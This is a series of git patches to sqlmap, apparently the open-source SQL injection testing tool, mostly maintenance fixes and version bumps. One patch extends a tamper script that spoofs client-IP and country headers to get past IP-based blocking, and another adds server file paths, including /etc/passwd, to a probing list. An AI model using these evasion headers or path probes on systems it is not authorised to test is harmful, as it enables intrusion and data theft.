index 588f68cd506..78b27c8965b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.10" +VERSION = "1.3.9.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 28ebbb4e166..f7d8fc098cc 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -151,13 +151,13 @@ def process(match, repl): conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".+?)"(?%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) - match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) - if match and not (conf.testParameter and match.group("name") not in conf.testParameter): - _ = match.group(2) - if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3]) - _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) - _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) - conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) + for match in re.finditer(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): + if not (conf.testParameter and match.group("name") not in conf.testParameter): + _ = match.group(2) + if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3]) + _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) + conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) kb.postHint = POST_HINT.JSON From ea3de16f248fcac90085241d3894346fbf09aed1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 Sep 2019 11:38:26 +0200 Subject: [PATCH 585/800] Implementing PEP 479 (fixes #3924) --- lib/core/settings.py | 2 +- lib/core/wordlist.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 78b27c8965b..236aef28377 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.11" +VERSION = "1.3.9.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 1b4d5b04872..a200e537624 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -42,7 +42,7 @@ def __iter__(self): def adjust(self): self.closeFP() if self.index > len(self.filenames): - raise StopIteration + return # Note: https://stackoverflow.com/a/30217723 (PEP 479) elif self.index == len(self.filenames): self.iter = iter(self.custom) else: diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index a4e6e7fc8ae..0837bf72c7e 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -894,7 +894,7 @@ def childGenerator(self): def recursiveChildGenerator(self): if not len(self.contents): - raise StopIteration + return # Note: https://stackoverflow.com/a/30217723 (PEP 479) stopNode = self._lastRecursiveChild().next current = self.contents[0] while current is not stopNode: From b51f02c2ca90fea2c0ea61a99a6dafec55b477ec Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 Sep 2019 16:30:26 +0200 Subject: [PATCH 586/800] Patch related to #3918 --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 5ad3e7c94f8..48d8173b794 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -654,7 +654,7 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) - concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery) + concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop diff --git a/lib/core/settings.py b/lib/core/settings.py index 236aef28377..d5bca0e07f5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.12" +VERSION = "1.3.9.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ad785ea0a2feb481ca5b68a34fe4b1f50796c4c0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Sep 2019 10:03:19 +0200 Subject: [PATCH 587/800] Fixes #3926 --- lib/core/settings.py | 2 +- thirdparty/clientform/clientform.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d5bca0e07f5..6c25ced442d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.13" +VERSION = "1.3.9.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index b8debff9645..351193cce26 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -227,6 +227,9 @@ def unescape(data, entities, encoding=DEFAULT_ENCODING): if data is None or "&" not in data: return data + if isinstance(data, six.string_types): + encoding = None + def replace_entities(match, entities=entities, encoding=encoding): ent = match.group() if ent[1] == "#": @@ -279,7 +282,6 @@ def get_entitydefs(): entitydefs["&%s;" % name] = _unichr(codepoint) return entitydefs - def issequence(x): try: x[0] From 9e69d6076d84c14140555031dcf2aa5103def7df Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Sep 2019 10:08:10 +0200 Subject: [PATCH 588/800] Fixes #3929 --- lib/core/agent.py | 5 +++-- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 48d8173b794..15fc96910ad 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -27,6 +27,7 @@ from lib.core.common import urlencode from lib.core.common import zeroDepthSearch from lib.core.compat import xrange +from lib.core.convert import encodeBase64 from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -170,8 +171,8 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if re.sub(r" \(.+", "", parameter) in conf.base64Parameter: # TODO: support for POST_HINT - newValue = base64.b64encode(newValue) - origValue = base64.b64encode(origValue) + newValue = encodeBase64(newValue, binary=False) + origValue = encodeBase64(origValue, binary=False) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c25ced442d..66f933be9de 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.14" +VERSION = "1.3.9.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 018908c2b1582d95c0e3ac8ea9132eff3def3f1f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Sep 2019 10:11:28 +0200 Subject: [PATCH 589/800] Fixes #3925 --- lib/core/option.py | 7 +++++++ lib/core/settings.py | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 7a305966091..af58a11133d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2447,6 +2447,13 @@ def _basicOptionValidation(): errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) + if conf.paramExclude: + try: + re.compile(conf.paramExclude) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + if conf.crawlExclude: try: re.compile(conf.crawlExclude) diff --git a/lib/core/settings.py b/lib/core/settings.py index 66f933be9de..0984aacf743 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.15" +VERSION = "1.3.9.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6ec6e8693782613dda06879ddac3975ded2d77fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Sep 2019 10:18:51 +0200 Subject: [PATCH 590/800] Update regarding #3928 --- data/txt/common-files.txt | 11 +++++++++++ lib/core/settings.py | 2 +- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index a065db7158d..05e6ce265b6 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -192,6 +192,17 @@ /var/log/mysqld.log /var/www/index.php +# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810 + +/var/www/index.php +/usr/local/apache/index.php +/usr/local/apache2/index.php +/usr/local/www/apache22/index.php +/usr/local/www/apache24/index.php +/usr/local/httpd/index.php +/var/www/nginx-default/index.php +/srv/www/index.php + # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux /etc/passwd diff --git a/lib/core/settings.py b/lib/core/settings.py index 0984aacf743..d8afe55995d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.16" +VERSION = "1.3.9.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cc8209d6486039fa30d0a3796c40c1b7d813b01e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Sep 2019 19:29:38 +0200 Subject: [PATCH 591/800] Patch related to the #3927 --- lib/core/agent.py | 6 +++--- lib/core/common.py | 2 +- lib/core/convert.py | 14 +++++++------- lib/core/settings.py | 2 +- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 15fc96910ad..e702bc525b3 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import base64 import re from lib.core.common import Backend @@ -51,6 +50,7 @@ from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER +from lib.core.settings import UNICODE_ENCODING from lib.core.unescaper import unescaper from thirdparty import six @@ -171,8 +171,8 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if re.sub(r" \(.+", "", parameter) in conf.base64Parameter: # TODO: support for POST_HINT - newValue = encodeBase64(newValue, binary=False) - origValue = encodeBase64(origValue, binary=False) + newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) + origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) diff --git a/lib/core/common.py b/lib/core/common.py index 7da5064b8cf..40df6f83f79 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -623,7 +623,7 @@ def paramToDict(place, parameters=None): if parameter in (conf.base64Parameter or []): try: oldValue = value - value = decodeBase64(value, binary=False) + value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING) parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters) except: errMsg = "parameter '%s' does not contain " % parameter diff --git a/lib/core/convert.py b/lib/core/convert.py index 746908a952a..d7f91101979 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -184,7 +184,7 @@ def encodeHex(value, binary=True): return retVal -def decodeBase64(value, binary=True): +def decodeBase64(value, binary=True, encoding=None): """ Returns a decoded representation of provided Base64 value @@ -197,11 +197,11 @@ def decodeBase64(value, binary=True): retVal = base64.b64decode(value) if not binary: - retVal = getText(retVal) + retVal = getText(retVal, encoding) return retVal -def encodeBase64(value, binary=True): +def encodeBase64(value, binary=True, encoding=None): """ Returns a decoded representation of provided Base64 value @@ -212,12 +212,12 @@ def encodeBase64(value, binary=True): """ if isinstance(value, six.text_type): - value = value.encode(UNICODE_ENCODING) + value = value.encode(encoding or UNICODE_ENCODING) retVal = base64.b64encode(value) if not binary: - retVal = getText(retVal) + retVal = getText(retVal, encoding) return retVal @@ -305,7 +305,7 @@ def getUnicode(value, encoding=None, noneToNull=False): except UnicodeDecodeError: return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances -def getText(value): +def getText(value, encoding=None): """ Returns textual value of a given value (Note: not necessary Unicode on Python2) @@ -318,7 +318,7 @@ def getText(value): retVal = value if isinstance(value, six.binary_type): - retVal = getUnicode(value) + retVal = getUnicode(value, encoding) if six.PY2: try: diff --git a/lib/core/settings.py b/lib/core/settings.py index d8afe55995d..1917d67953b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.17" +VERSION = "1.3.9.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 95e476d5c90857376b2f8213ddc8ab0736269fbb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 22 Sep 2019 20:14:43 +0200 Subject: [PATCH 592/800] Fixes #3937 --- lib/core/option.py | 8 ++++++-- lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index af58a11133d..8b38a68669e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -341,7 +341,8 @@ def _setCrawler(): if conf.bulkFile: targets = getFileItems(conf.bulkFile) else: - targets = parseSitemap(conf.sitemapUrl) + targets = list(parseSitemap(conf.sitemapUrl)) + for i in xrange(len(targets)): try: target = targets[i] @@ -473,10 +474,13 @@ def _findPageForms(): if conf.bulkFile: targets = getFileItems(conf.bulkFile) elif conf.sitemapUrl: - targets = parseSitemap(conf.sitemapUrl) + targets = list(parseSitemap(conf.sitemapUrl)) elif conf.googleDork: targets = [_[0] for _ in kb.targets] kb.targets.clear() + else: + targets = [] + for i in xrange(len(targets)): try: target = targets[i] diff --git a/lib/core/settings.py b/lib/core/settings.py index 1917d67953b..8565169eca7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.18" +VERSION = "1.3.9.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5168daf6ce1ab897e21558a0a76d099b3b81bc56 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 24 Sep 2019 10:24:43 +0200 Subject: [PATCH 593/800] Fixes #3939 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8565169eca7..d6753208a43 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.19" +VERSION = "1.3.9.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index ad565dd2b8d..f3b7744bcdc 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -263,6 +263,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("Access is denied", "subprocess", "metasploit")): + errMsg = "permission error occurred while running Metasploit" + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("No such file", "_'")): errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] errMsg += "You should retrieve the latest development version from official GitHub " From d34619232fe2a19bec2c9e7b02a76a6610e811ba Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 26 Sep 2019 10:36:47 +0200 Subject: [PATCH 594/800] Implements #3940 --- lib/core/settings.py | 2 +- tamper/xforwardedfor.py | 19 ++++++++++++++----- 2 files changed, 15 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d6753208a43..1839d86b313 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.20" +VERSION = "1.3.9.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 5801a10689f..e6cadf2d0a3 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -16,20 +16,29 @@ def dependencies(): pass def randomIP(): - numbers = [] + octets = [] - while not numbers or numbers[0] in (10, 172, 192): - numbers = random.sample(xrange(1, 255), 4) + while not octets or octets[0] in (10, 172, 192): + octets = random.sample(xrange(1, 255), 4) - return '.'.join(str(_) for _ in numbers) + return '.'.join(str(_) for _ in octets) def tamper(payload, **kwargs): """ - Append a fake HTTP header 'X-Forwarded-For' + Append a fake HTTP header 'X-Forwarded-For' (and alike) """ headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = randomIP() headers["X-Client-Ip"] = randomIP() headers["X-Real-Ip"] = randomIP() + headers["CF-Connecting-IP"] = randomIP() + headers["True-Client-IP"] = randomIP() + + # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection + headers["Via"] = "1.1 Chrome-Compression-Proxy" + + # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 + headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0] + return payload From 871ebfdb708a62c28d49c0128ba83cdb1cc31b48 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Sep 2019 21:03:21 +0200 Subject: [PATCH 595/800] Fixes #3943 --- lib/core/settings.py | 2 +- lib/utils/purge.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1839d86b313..b163039e14f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.21" +VERSION = "1.3.9.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 11ac6d06b7d..72d99a555da 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -15,6 +15,7 @@ from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import logger from thirdparty.six import unichr as _unichr @@ -84,4 +85,4 @@ def purge(directory): try: shutil.rmtree(directory) except OSError as ex: - logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex))) + logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex))) From f05f84b6e5ebab1edd407189c6b52eb27daf6247 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Sep 2019 21:35:21 +0200 Subject: [PATCH 596/800] Minor bug fix --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 34 +++++++++++++++++++++++----------- 2 files changed, 24 insertions(+), 12 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b163039e14f..ecef88f6f19 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.22" +VERSION = "1.3.9.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b8c7395df41..579ca3f3e2e 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -44,6 +44,26 @@ def get_actions(instance): def get_groups(parser): return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + from lib.core.common import checkOldOptions from lib.core.common import checkSystemEncoding from lib.core.common import dataToStdout @@ -844,18 +864,10 @@ def _format_action_invocation(self, action): parser.usage = "" cmdLineOptions.sqlmapShell = True - _ = ["x", "q", "exit", "quit", "clear"] - - for option in get_actions(parser): - _.extend(option._long_opts) - _.extend(option._short_opts) - - for group in get_groups(parser): - for option in get_actions(group): - _.extend(option._long_opts) - _.extend(option._short_opts) + commands = set(("x", "q", "exit", "quit", "clear")) + commands.update(get_all_options(parser)) - autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_) + autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands) while True: command = None From f437a545618ea1cab81e6d3f474d22c9cadf6b30 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Sep 2019 21:59:20 +0200 Subject: [PATCH 597/800] Update regarding #3944 --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ecef88f6f19..8f20e0db363 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.23" +VERSION = "1.3.9.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 579ca3f3e2e..71feedad25a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -902,6 +902,7 @@ def _format_action_invocation(self, action): raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) for i in xrange(len(argv)): + longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) if argv[i] == "-hh": argv[i] = "-h" elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): @@ -949,6 +950,9 @@ def _format_action_invocation(self, action): found = True if not found: get_groups(parser).remove(group) + elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-\w\Z", argv[i - 1]) is None: + dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i]) + raise SystemExit for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: From 4833fb3aa68f60d449b30c95374f2d54e3d9af3b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 30 Sep 2019 17:50:25 +0200 Subject: [PATCH 598/800] Adding autocompletion script --- extra/shutils/autocompletion.sh | 9 +++++++++ lib/core/settings.py | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) create mode 100755 extra/shutils/autocompletion.sh diff --git a/extra/shutils/autocompletion.sh b/extra/shutils/autocompletion.sh new file mode 100755 index 00000000000..edaccd73b62 --- /dev/null +++ b/extra/shutils/autocompletion.sh @@ -0,0 +1,9 @@ +#/usr/bin/env bash + +# source ./extra/shutils/autocompletion.sh + +DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -` + +complete -W "$WORDLIST" sqlmap +complete -W "$WORDLIST" ./sqlmap.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8f20e0db363..681314e2644 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.9.24" +VERSION = "1.3.9.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d72660ef0445dc4db3484b88d51acccef00e3b7c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 1 Oct 2019 15:37:09 +0200 Subject: [PATCH 599/800] Adding a support for option-less URL arg --- 